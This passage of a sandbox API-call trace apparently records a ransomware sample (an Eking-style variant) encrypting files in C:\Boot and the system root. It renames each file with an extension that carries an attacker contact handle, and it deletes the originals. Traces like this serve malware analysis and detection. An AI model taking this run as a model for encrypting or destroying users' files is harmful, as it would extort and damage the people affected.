"c:\\boot\\sr-latn-cs\\bootmgr.exe.mui")) returned 0x20 [0276.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.051] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.051] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.051] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=44888) returned 1 [0276.051] CloseHandle (hObject=0x2bc) returned 1 [0276.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui")) returned 0x20 [0276.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui")) returned 0x20 [0276.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.051] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.052] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.052] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=77152) returned 1 [0276.052] CloseHandle (hObject=0x2bc) returned 1 [0276.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui")) returned 0x20 [0276.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui")) returned 0x20 [0276.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.052] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.053] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.053] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=76128) returned 1 [0276.053] CloseHandle (hObject=0x2bc) returned 1 [0276.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0276.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0276.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.053] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.053] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.054] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=44952) returned 1 [0276.054] CloseHandle (hObject=0x2bc) returned 1 [0276.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui")) returned 0x20 [0276.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui")) returned 0x20 [0276.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.054] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.055] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.055] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=75096) returned 1 [0276.055] CloseHandle (hObject=0x2bc) returned 1 [0276.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0276.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0276.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.055] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.055] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.056] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=45472) returned 1 [0276.056] CloseHandle (hObject=0x2bc) returned 1 [0276.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui")) returned 0x20 [0276.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui")) returned 0x20 [0276.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.056] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.056] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.057] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=77152) returned 1 [0276.057] CloseHandle (hObject=0x2bc) returned 1 [0276.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui")) returned 0x20 [0276.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui")) returned 0x20 [0276.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.057] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.057] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.058] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=4662) returned 1 [0276.058] CloseHandle (hObject=0x2bc) returned 1 [0276.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0276.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0276.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.058] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.058] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.058] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=63840) returned 1 [0276.058] CloseHandle (hObject=0x2bc) returned 1 [0276.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0276.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0276.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.059] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.059] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.059] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=42400) returned 1 [0276.059] CloseHandle (hObject=0x2bc) returned 1 [0276.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui")) returned 0x20 [0276.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui")) returned 0x20 [0276.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.060] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.060] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.060] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=63832) returned 1 [0276.060] CloseHandle (hObject=0x2bc) returned 1 [0276.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0276.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0276.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.061] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.061] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.061] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=42328) returned 1 [0276.061] CloseHandle (hObject=0x2bc) returned 1 [0276.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui")) returned 0x20 [0276.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui")) returned 0x20 [0276.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.061] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.062] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.062] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=63840) returned 1 [0276.062] CloseHandle (hObject=0x2bc) returned 1 [0276.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0276.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0276.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.062] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.063] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.063] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=42392) returned 1 [0276.063] CloseHandle (hObject=0x2bc) returned 1 [0276.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui")) returned 0x20 [0276.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui")) returned 0x20 [0276.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.063] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.064] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.064] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=395226) returned 1 [0276.064] CloseHandle (hObject=0x2bc) returned 1 [0276.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0276.064] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0276.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0276.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\bootmgr.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.065] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.065] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0276.065] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.065] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=1) returned 1 [0276.065] CloseHandle (hObject=0x2bc) returned 1 [0276.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 0x26 [0276.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 0x26 [0276.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTNXT.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\bootnxt.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.066] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.066] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.066] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.066] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\bootnxt.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x29c [0276.067] ReadFile (in: hFile=0x2bc, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x1, lpOverlapped=0x0) returned 1 [0276.068] WriteFile (in: hFile=0x29c, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x10, lpOverlapped=0x0) returned 1 [0276.070] WriteFile (in: hFile=0x29c, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xe2, lpOverlapped=0x0) returned 1 [0276.070] CloseHandle (hObject=0x2bc) returned 1 [0276.070] CloseHandle (hObject=0x29c) returned 1 [0276.070] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1 [0276.072] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0276.072] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=8192) returned 1 [0276.072] CloseHandle (hObject=0x29c) returned 1 [0276.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0276.072] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0276.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x26 [0276.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\bootsect.bak.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.073] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0276.073] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.073] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.073] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: 